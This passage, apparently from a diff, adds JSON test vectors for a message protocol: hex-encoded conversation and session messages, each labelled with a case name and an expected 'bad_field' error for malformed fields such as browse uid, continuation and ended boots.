6e223a7b226361706162696c6974696573223a5b22746f6f6c73222c2273747265616d696e67225d2c2266616d696c79223a2266616d696c792d616c706861222c226d6f64656c4b6579223a226d6f64656c2d616c706861222c2270726f746f636f6c223a2270726f746f636f6c2d616c706861222c2270726f76696465724964223a2270726f76696465722d616c706861222c2270726f76696465724d6f64656c4964223a2270726f76696465722d6d6f64656c2d616c706861227d7d2c22677569646564223a7b2262696e64696e674964223a2233663262386331652d356434612d346536662d396137622d316332643365346635613662222c2267656e65726174696f6e223a317d2c22636f6e74696e756174696f6e223a226672657368222c22656e6465644775657374426f6f7473223a5b5d7d7d5d7d", + "error": "bad_field" + }, + { + "name": "conversations-browse-uid-equals-tool-uid", + "direction": "down", + "hex": "574d58310101000004000000770600007b2276223a322c2274223a22636f6e766572736174696f6e73222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c2270726f66696c65223a22686f73742d71756572792d6775696465642d7631222c2262726f777365556964223a32303030312c22636f6e766572736174696f6e73223a5b7b226c6f676963616c53657373696f6e4964223a22636f6e762d30303031222c22617574686f72697479223a7b22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131222c2273657373696f6e4964223a226261636b656e642d30303031222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c22636f6e6669675265766973696f6e223a342c226772616e745265766973696f6e223a352c22706f6c6963795265766973696f6e223a367d2c2272756e74696d65556964223a32303030302c22746f6f6c556964223a32303030312c22776f726b7370616365476964223a32353030302c22706f6c696379223a226175746f222c22726f6f7473223a5b7b226964223a22726f6f742d6e6f746573222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22736f75726365223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22726561644f6e6c79223a66616c73657d2c7b226964223a22726f6f742d6f757470757473222c22677565737450617468223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22736f75726365223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22726561644f6e6c79223a66616c73657d5d2c2272756e74696d65223a7b226d6f64656c223a226d6f64656c2d616c706861222c2274696d656f75744d73223a3630303030302c22746f6f6c436c6173736573223a5b2272656164222c227772697465222c2265786563757465225d2c2270726f7669646572223a7b2273636f7065223a7b226163636f756e745265766973696f6e223a372c226261636b656e6453657373696f6e4964223a226261636b656e642d30303031222c22626f6f744964223a2236363636363636362d363636362d343636362d383636362d363636363636363636363636222c226772616e745265766973696f6e223a352c22686f6d654964223a22686f6d655f39393939393939392d393939392d343939392d383939392d393939393939393939393939222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c226d6f64656c5265766973696f6e223a382c2273657373696f6e4964223a22636f6e762d30303031222c227461736b4964223a227461736b2d30303031222c22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131227d2c2273656c656374696f6e223a7b226361706162696c6974696573223a5b22746f6f6c73222c2273747265616d696e67225d2c2266616d696c79223a2266616d696c792d616c706861222c226d6f64656c4b6579223a226d6f64656c2d616c706861222c2270726f746f636f6c223a2270726f746f636f6c2d616c706861222c2270726f76696465724964223a2270726f76696465722d616c706861222c2270726f76696465724d6f64656c4964223a2270726f76696465722d6d6f64656c2d616c706861227d7d2c22677569646564223a7b2262696e64696e674964223a2233663262386331652d356434612d346536662d396137622d316332643365346635613662222c2267656e65726174696f6e223a317d2c22636f6e74696e756174696f6e223a226672657368222c22656e6465644775657374426f6f7473223a5b5d7d7d5d7d", + "error": "bad_field" + }, + { + "name": "conversations-browse-uid-equals-gid", + "direction": "down", + "hex": "574d58310101000004000000770600007b2276223a322c2274223a22636f6e766572736174696f6e73222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c2270726f66696c65223a22686f73742d71756572792d6775696465642d7631222c2262726f777365556964223a32353030302c22636f6e766572736174696f6e73223a5b7b226c6f676963616c53657373696f6e4964223a22636f6e762d30303031222c22617574686f72697479223a7b22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131222c2273657373696f6e4964223a226261636b656e642d30303031222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c22636f6e6669675265766973696f6e223a342c226772616e745265766973696f6e223a352c22706f6c6963795265766973696f6e223a367d2c2272756e74696d65556964223a32303030302c22746f6f6c556964223a32303030312c22776f726b7370616365476964223a32353030302c22706f6c696379223a226175746f222c22726f6f7473223a5b7b226964223a22726f6f742d6e6f746573222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22736f75726365223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22726561644f6e6c79223a66616c73657d2c7b226964223a22726f6f742d6f757470757473222c22677565737450617468223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22736f75726365223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22726561644f6e6c79223a66616c73657d5d2c2272756e74696d65223a7b226d6f64656c223a226d6f64656c2d616c706861222c2274696d656f75744d73223a3630303030302c22746f6f6c436c6173736573223a5b2272656164222c227772697465222c2265786563757465225d2c2270726f7669646572223a7b2273636f7065223a7b226163636f756e745265766973696f6e223a372c226261636b656e6453657373696f6e4964223a226261636b656e642d30303031222c22626f6f744964223a2236363636363636362d363636362d343636362d383636362d363636363636363636363636222c226772616e745265766973696f6e223a352c22686f6d654964223a22686f6d655f39393939393939392d393939392d343939392d383939392d393939393939393939393939222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c226d6f64656c5265766973696f6e223a382c2273657373696f6e4964223a22636f6e762d30303031222c227461736b4964223a227461736b2d30303031222c22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131227d2c2273656c656374696f6e223a7b226361706162696c6974696573223a5b22746f6f6c73222c2273747265616d696e67225d2c2266616d696c79223a2266616d696c792d616c706861222c226d6f64656c4b6579223a226d6f64656c2d616c706861222c2270726f746f636f6c223a2270726f746f636f6c2d616c706861222c2270726f76696465724964223a2270726f76696465722d616c706861222c2270726f76696465724d6f64656c4964223a2270726f76696465722d6d6f64656c2d616c706861227d7d2c22677569646564223a7b2262696e64696e674964223a2233663262386331652d356434612d346536662d396137622d316332643365346635613662222c2267656e65726174696f6e223a317d2c22636f6e74696e756174696f6e223a226672657368222c22656e6465644775657374426f6f7473223a5b5d7d7d5d7d", + "error": "bad_field" + }, + { + "name": "conversations-browse-uid-nobody", + "direction": "down", + "hex": "574d58310101000004000000770600007b2276223a322c2274223a22636f6e766572736174696f6e73222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c2270726f66696c65223a22686f73742d71756572792d6775696465642d7631222c2262726f777365556964223a36353533342c22636f6e766572736174696f6e73223a5b7b226c6f676963616c53657373696f6e4964223a22636f6e762d30303031222c22617574686f72697479223a7b22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131222c2273657373696f6e4964223a226261636b656e642d30303031222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c22636f6e6669675265766973696f6e223a342c226772616e745265766973696f6e223a352c22706f6c6963795265766973696f6e223a367d2c2272756e74696d65556964223a32303030302c22746f6f6c556964223a32303030312c22776f726b7370616365476964223a32353030302c22706f6c696379223a226175746f222c22726f6f7473223a5b7b226964223a22726f6f742d6e6f746573222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22736f75726365223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22726561644f6e6c79223a66616c73657d2c7b226964223a22726f6f742d6f757470757473222c22677565737450617468223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22736f75726365223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22726561644f6e6c79223a66616c73657d5d2c2272756e74696d65223a7b226d6f64656c223a226d6f64656c2d616c706861222c2274696d656f75744d73223a3630303030302c22746f6f6c436c6173736573223a5b2272656164222c227772697465222c2265786563757465225d2c2270726f7669646572223a7b2273636f7065223a7b226163636f756e745265766973696f6e223a372c226261636b656e6453657373696f6e4964223a226261636b656e642d30303031222c22626f6f744964223a2236363636363636362d363636362d343636362d383636362d363636363636363636363636222c226772616e745265766973696f6e223a352c22686f6d654964223a22686f6d655f39393939393939392d393939392d343939392d383939392d393939393939393939393939222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c226d6f64656c5265766973696f6e223a382c2273657373696f6e4964223a22636f6e762d30303031222c227461736b4964223a227461736b2d30303031222c22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131227d2c2273656c656374696f6e223a7b226361706162696c6974696573223a5b22746f6f6c73222c2273747265616d696e67225d2c2266616d696c79223a2266616d696c792d616c706861222c226d6f64656c4b6579223a226d6f64656c2d616c706861222c2270726f746f636f6c223a2270726f746f636f6c2d616c706861222c2270726f76696465724964223a2270726f76696465722d616c706861222c2270726f76696465724d6f64656c4964223a2270726f76696465722d6d6f64656c2d616c706861227d7d2c22677569646564223a7b2262696e64696e674964223a2233663262386331652d356434612d346536662d396137622d316332643365346635613662222c2267656e65726174696f6e223a317d2c22636f6e74696e756174696f6e223a226672657368222c22656e6465644775657374426f6f7473223a5b5d7d7d5d7d", + "error": "bad_field" + }, + { + "name": "conversations-browse-uid-missing", + "direction": "down", + "hex": "574d58310101000004000000650600007b2276223a322c2274223a22636f6e766572736174696f6e73222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c2270726f66696c65223a22686f73742d71756572792d6775696465642d7631222c22636f6e766572736174696f6e73223a5b7b226c6f676963616c53657373696f6e4964223a22636f6e762d30303031222c22617574686f72697479223a7b22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131222c2273657373696f6e4964223a226261636b656e642d30303031222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c22636f6e6669675265766973696f6e223a342c226772616e745265766973696f6e223a352c22706f6c6963795265766973696f6e223a367d2c2272756e74696d65556964223a32303030302c22746f6f6c556964223a32303030312c22776f726b7370616365476964223a32353030302c22706f6c696379223a226175746f222c22726f6f7473223a5b7b226964223a22726f6f742d6e6f746573222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22736f75726365223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22726561644f6e6c79223a66616c73657d2c7b226964223a22726f6f742d6f757470757473222c22677565737450617468223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22736f75726365223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22726561644f6e6c79223a66616c73657d5d2c2272756e74696d65223a7b226d6f64656c223a226d6f64656c2d616c706861222c2274696d656f75744d73223a3630303030302c22746f6f6c436c6173736573223a5b2272656164222c227772697465222c2265786563757465225d2c2270726f7669646572223a7b2273636f7065223a7b226163636f756e745265766973696f6e223a372c226261636b656e6453657373696f6e4964223a226261636b656e642d30303031222c22626f6f744964223a2236363636363636362d363636362d343636362d383636362d363636363636363636363636222c226772616e745265766973696f6e223a352c22686f6d654964223a22686f6d655f39393939393939392d393939392d343939392d383939392d393939393939393939393939222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c226d6f64656c5265766973696f6e223a382c2273657373696f6e4964223a22636f6e762d30303031222c227461736b4964223a227461736b2d30303031222c22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131227d2c2273656c656374696f6e223a7b226361706162696c6974696573223a5b22746f6f6c73222c2273747265616d696e67225d2c2266616d696c79223a2266616d696c792d616c706861222c226d6f64656c4b6579223a226d6f64656c2d616c706861222c2270726f746f636f6c223a2270726f746f636f6c2d616c706861222c2270726f76696465724964223a2270726f76696465722d616c706861222c2270726f76696465724d6f64656c4964223a2270726f76696465722d6d6f64656c2d616c706861227d7d2c22677569646564223a7b2262696e64696e674964223a2233663262386331652d356434612d346536662d396137622d316332643365346635613662222c2267656e65726174696f6e223a317d2c22636f6e74696e756174696f6e223a226672657368222c22656e6465644775657374426f6f7473223a5b5d7d7d5d7d", + "error": "bad_field" + }, + { + "name": "conversations-continuation-unknown", + "direction": "down", + "hex": "574d58310101000004000000750600007b2276223a322c2274223a22636f6e766572736174696f6e73222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c2270726f66696c65223a22686f73742d71756572792d6775696465642d7631222c2262726f777365556964223a6e756c6c2c22636f6e766572736174696f6e73223a5b7b226c6f676963616c53657373696f6e4964223a22636f6e762d30303031222c22617574686f72697479223a7b22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131222c2273657373696f6e4964223a226261636b656e642d30303031222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c22636f6e6669675265766973696f6e223a342c226772616e745265766973696f6e223a352c22706f6c6963795265766973696f6e223a367d2c2272756e74696d65556964223a32303030302c22746f6f6c556964223a32303030312c22776f726b7370616365476964223a32353030302c22706f6c696379223a226175746f222c22726f6f7473223a5b7b226964223a22726f6f742d6e6f746573222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22736f75726365223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22726561644f6e6c79223a66616c73657d2c7b226964223a22726f6f742d6f757470757473222c22677565737450617468223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22736f75726365223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22726561644f6e6c79223a66616c73657d5d2c2272756e74696d65223a7b226d6f64656c223a226d6f64656c2d616c706861222c2274696d656f75744d73223a3630303030302c22746f6f6c436c6173736573223a5b2272656164222c227772697465222c2265786563757465225d2c2270726f7669646572223a7b2273636f7065223a7b226163636f756e745265766973696f6e223a372c226261636b656e6453657373696f6e4964223a226261636b656e642d30303031222c22626f6f744964223a2236363636363636362d363636362d343636362d383636362d363636363636363636363636222c226772616e745265766973696f6e223a352c22686f6d654964223a22686f6d655f39393939393939392d393939392d343939392d383939392d393939393939393939393939222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c226d6f64656c5265766973696f6e223a382c2273657373696f6e4964223a22636f6e762d30303031222c227461736b4964223a227461736b2d30303031222c22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131227d2c2273656c656374696f6e223a7b226361706162696c6974696573223a5b22746f6f6c73222c2273747265616d696e67225d2c2266616d696c79223a2266616d696c792d616c706861222c226d6f64656c4b6579223a226d6f64656c2d616c706861222c2270726f746f636f6c223a2270726f746f636f6c2d616c706861222c2270726f76696465724964223a2270726f76696465722d616c706861222c2270726f76696465724d6f64656c4964223a2270726f76696465722d6d6f64656c2d616c706861227d7d2c22677569646564223a7b2262696e64696e674964223a2233663262386331652d356434612d346536662d396137622d316332643365346635613662222c2267656e65726174696f6e223a317d2c22636f6e74696e756174696f6e223a22666f726b222c22656e6465644775657374426f6f7473223a5b5d7d7d5d7d", + "error": "bad_field" + }, + { + "name": "conversations-continuation-missing", + "direction": "down", + "hex": "574d583101010000040000005f0600007b2276223a322c2274223a22636f6e766572736174696f6e73222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c2270726f66696c65223a22686f73742d71756572792d6775696465642d7631222c2262726f777365556964223a6e756c6c2c22636f6e766572736174696f6e73223a5b7b226c6f676963616c53657373696f6e4964223a22636f6e762d30303031222c22617574686f72697479223a7b22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131222c2273657373696f6e4964223a226261636b656e642d30303031222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c22636f6e6669675265766973696f6e223a342c226772616e745265766973696f6e223a352c22706f6c6963795265766973696f6e223a367d2c2272756e74696d65556964223a32303030302c22746f6f6c556964223a32303030312c22776f726b7370616365476964223a32353030302c22706f6c696379223a226175746f222c22726f6f7473223a5b7b226964223a22726f6f742d6e6f746573222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22736f75726365223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22726561644f6e6c79223a66616c73657d2c7b226964223a22726f6f742d6f757470757473222c22677565737450617468223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22736f75726365223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22726561644f6e6c79223a66616c73657d5d2c2272756e74696d65223a7b226d6f64656c223a226d6f64656c2d616c706861222c2274696d656f75744d73223a3630303030302c22746f6f6c436c6173736573223a5b2272656164222c227772697465222c2265786563757465225d2c2270726f7669646572223a7b2273636f7065223a7b226163636f756e745265766973696f6e223a372c226261636b656e6453657373696f6e4964223a226261636b656e642d30303031222c22626f6f744964223a2236363636363636362d363636362d343636362d383636362d363636363636363636363636222c226772616e745265766973696f6e223a352c22686f6d654964223a22686f6d655f39393939393939392d393939392d343939392d383939392d393939393939393939393939222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c226d6f64656c5265766973696f6e223a382c2273657373696f6e4964223a22636f6e762d30303031222c227461736b4964223a227461736b2d30303031222c22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131227d2c2273656c656374696f6e223a7b226361706162696c6974696573223a5b22746f6f6c73222c2273747265616d696e67225d2c2266616d696c79223a2266616d696c792d616c706861222c226d6f64656c4b6579223a226d6f64656c2d616c706861222c2270726f746f636f6c223a2270726f746f636f6c2d616c706861222c2270726f76696465724964223a2270726f76696465722d616c706861222c2270726f76696465724d6f64656c4964223a2270726f76696465722d6d6f64656c2d616c706861227d7d2c22677569646564223a7b2262696e64696e674964223a2233663262386331652d356434612d346536662d396137622d316332643365346635613662222c2267656e65726174696f6e223a317d2c22656e6465644775657374426f6f7473223a5b5d7d7d5d7d", + "error": "bad_field" + }, + { + "name": "conversations-fresh-with-ended-boots", + "direction": "down", + "hex": "574d583101010000040000009c0600007b2276223a322c2274223a22636f6e766572736174696f6e73222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c2270726f66696c65223a22686f73742d71756572792d6775696465642d7631222c2262726f777365556964223a6e756c6c2c22636f6e766572736174696f6e73223a5b7b226c6f676963616c53657373696f6e4964223a22636f6e762d30303031222c22617574686f72697479223a7b22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131222c2273657373696f6e4964223a226261636b656e642d30303031222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c22636f6e6669675265766973696f6e223a342c226772616e745265766973696f6e223a352c22706f6c6963795265766973696f6e223a367d2c2272756e74696d65556964223a32303030302c22746f6f6c556964223a32303030312c22776f726b7370616365476964223a32353030302c22706f6c696379223a226175746f222c22726f6f7473223a5b7b226964223a22726f6f742d6e6f746573222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22736f75726365223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22726561644f6e6c79223a66616c73657d2c7b226964223a22726f6f742d6f757470757473222c22677565737450617468223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22736f75726365223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22726561644f6e6c79223a66616c73657d5d2c2272756e74696d65223a7b226d6f64656c223a226d6f64656c2d616c706861222c2274696d656f75744d73223a3630303030302c22746f6f6c436c6173736573223a5b2272656164222c227772697465222c2265786563757465225d2c2270726f7669646572223a7b2273636f7065223a7b226163636f756e745265766973696f6e223a372c226261636b656e6453657373696f6e4964223a226261636b656e642d30303031222c22626f6f744964223a2236363636363636362d363636362d343636362d383636362d363636363636363636363636222c226772616e745265766973696f6e223a352c22686f6d654964223a22686f6d655f39393939393939392d393939392d343939392d383939392d393939393939393939393939222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c226d6f64656c5265766973696f6e223a382c2273657373696f6e4964223a22636f6e762d30303031222c227461736b4964223a227461736b2d30303031222c22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131227d2c2273656c656374696f6e223a7b226361706162696c6974696573223a5b22746f6f6c73222c2273747265616d696e67225d2c2266616d696c79223a2266616d696c792d616c706861222c226d6f64656c4b6579223a226d6f64656c2d616c706861222c2270726f746f636f6c223a2270726f746f636f6c2d616c706861222c2270726f76696465724964223a2270726f76696465722d616c706861222c2270726f76696465724d6f64656c4964223a2270726f76696465722d6d6f64656c2d616c706861227d7d2c22677569646564223a7b2262696e64696e674964223a2233663262386331652d356434612d346536662d396137622d316332643365346635613662222c2267656e65726174696f6e223a317d2c22636f6e74696e756174696f6e223a226672657368222c22656e6465644775657374426f6f7473223a5b2231313131313131312d313131312d343131312d383131312d313131313131313131313131225d7d7d5d7d", + "error": "bad_field" + }, + { + "name": "conversations-ended-boots-include-the-live-boot", + "direction": "down", + "hex": "574d583101010000040000009d0600007b2276223a322c2274223a22636f6e766572736174696f6e73222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c2270726f66696c65223a22686f73742d71756572792d6775696465642d7631222c2262726f777365556964223a6e756c6c2c22636f6e766572736174696f6e73223a5b7b226c6f676963616c53657373696f6e4964223a22636f6e762d30303031222c22617574686f72697479223a7b22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131222c2273657373696f6e4964223a226261636b656e642d30303031222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c22636f6e6669675265766973696f6e223a342c226772616e745265766973696f6e223a352c22706f6c6963795265766973696f6e223a367d2c2272756e74696d65556964223a32303030302c22746f6f6c556964223a32303030312c22776f726b7370616365476964223a32353030302c22706f6c696379223a226175746f222c22726f6f7473223a5b7b226964223a22726f6f742d6e6f746573222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22736f75726365223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22726561644f6e6c79223a66616c73657d2c7b226964223a22726f6f742d6f757470757473222c22677565737450617468223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22736f75726365223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22726561644f6e6c79223a66616c73657d5d2c2272756e74696d65223a7b226d6f64656c223a226d6f64656c2d616c706861222c2274696d656f75744d73223a3630303030302c22746f6f6c436c6173736573223a5b2272656164222c227772697465222c2265786563757465225d2c2270726f7669646572223a7b2273636f7065223a7b226163636f756e745265766973696f6e223a372c226261636b656e6453657373696f6e4964223a226261636b656e642d30303031222c22626f6f744964223a2236363636363636362d363636362d343636362d383636362d363636363636363636363636222c226772616e745265766973696f6e223a352c22686f6d654964223a22686f6d655f39393939393939392d393939392d343939392d383939392d393939393939393939393939222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c226d6f64656c5265766973696f6e223a382c2273657373696f6e4964223a22636f6e762d30303031222c227461736b4964223a227461736b2d30303031222c22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131227d2c2273656c656374696f6e223a7b226361706162696c6974696573223a5b22746f6f6c73222c2273747265616d696e67225d2c2266616d696c79223a2266616d696c792d616c706861222c226d6f64656c4b6579223a226d6f64656c2d616c706861222c2270726f746f636f6c223a2270726f746f636f6c2d616c706861222c2270726f76696465724964223a2270726f76696465722d616c706861222c2270726f76696465724d6f64656c4964223a2270726f76696465722d6d6f64656c2d616c706861227d7d2c22677569646564223a7b2262696e64696e674964223a2233663262386331652d356434612d346536662d396137622d316332643365346635613662222c2267656e65726174696f6e223a317d2c22636f6e74696e756174696f6e223a22726573756d65222c22656e6465644775657374426f6f7473223a5b2236363636363636362d363636362d343636362d383636362d363636363636363636363636225d7d7d5d7d", + "error": "bad_field" + }, + { + "name": "conversations-ended-boots-repeated", + "direction": "down", + "hex": "574d58310101000004000000c40600007b2276223a322c2274223a22636f6e766572736174696f6e73222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c2270726f66696c65223a22686f73742d71756572792d6775696465642d7631222c2262726f777365556964223a6e756c6c2c22636f6e766572736174696f6e73223a5b7b226c6f676963616c53657373696f6e4964223a22636f6e762d30303031222c22617574686f72697479223a7b22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131222c2273657373696f6e4964223a226261636b656e642d30303031222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c22636f6e6669675265766973696f6e223a342c226772616e745265766973696f6e223a352c22706f6c6963795265766973696f6e223a367d2c2272756e74696d65556964223a32303030302c22746f6f6c556964223a32303030312c22776f726b7370616365476964223a32353030302c22706f6c696379223a226175746f222c22726f6f7473223a5b7b226964223a22726f6f742d6e6f746573222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22736f75726365223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22726561644f6e6c79223a66616c73657d2c7b226964223a22726f6f742d6f757470757473222c22677565737450617468223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22736f75726365223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22726561644f6e6c79223a66616c73657d5d2c2272756e74696d65223a7b226d6f64656c223a226d6f64656c2d616c706861222c2274696d656f75744d73223a3630303030302c22746f6f6c436c6173736573223a5b2272656164222c227772697465222c2265786563757465225d2c2270726f7669646572223a7b2273636f7065223a7b226163636f756e745265766973696f6e223a372c226261636b656e6453657373696f6e4964223a226261636b656e642d30303031222c22626f6f744964223a2236363636363636362d363636362d343636362d383636362d363636363636363636363636222c226772616e745265766973696f6e223a352c22686f6d654964223a22686f6d655f39393939393939392d393939392d343939392d383939392d393939393939393939393939222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c226d6f64656c5265766973696f6e223a382c2273657373696f6e4964223a22636f6e762d30303031222c227461736b4964223a227461736b2d30303031222c22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131227d2c2273656c656374696f6e223a7b226361706162696c6974696573223a5b22746f6f6c73222c2273747265616d696e67225d2c2266616d696c79223a2266616d696c792d616c706861222c226d6f64656c4b6579223a226d6f64656c2d616c706861222c2270726f746f636f6c223a2270726f746f636f6c2d616c706861222c2270726f76696465724964223a2270726f76696465722d616c706861222c2270726f76696465724d6f64656c4964223a2270726f76696465722d6d6f64656c2d616c706861227d7d2c22677569646564223a7b2262696e64696e674964223a2233663262386331652d356434612d346536662d396137622d316332643365346635613662222c2267656e65726174696f6e223a317d2c22636f6e74696e756174696f6e223a22726573756d65222c22656e6465644775657374426f6f7473223a5b2231313131313131312d313131312d343131312d383131312d313131313131313131313131222c2231313131313131312d313131312d343131312d383131312d313131313131313131313131225d7d7d5d7d", + "error": "bad_field" + }, + { + "name": "conversations-ended-boots-five", + "direction": "down", + "hex": 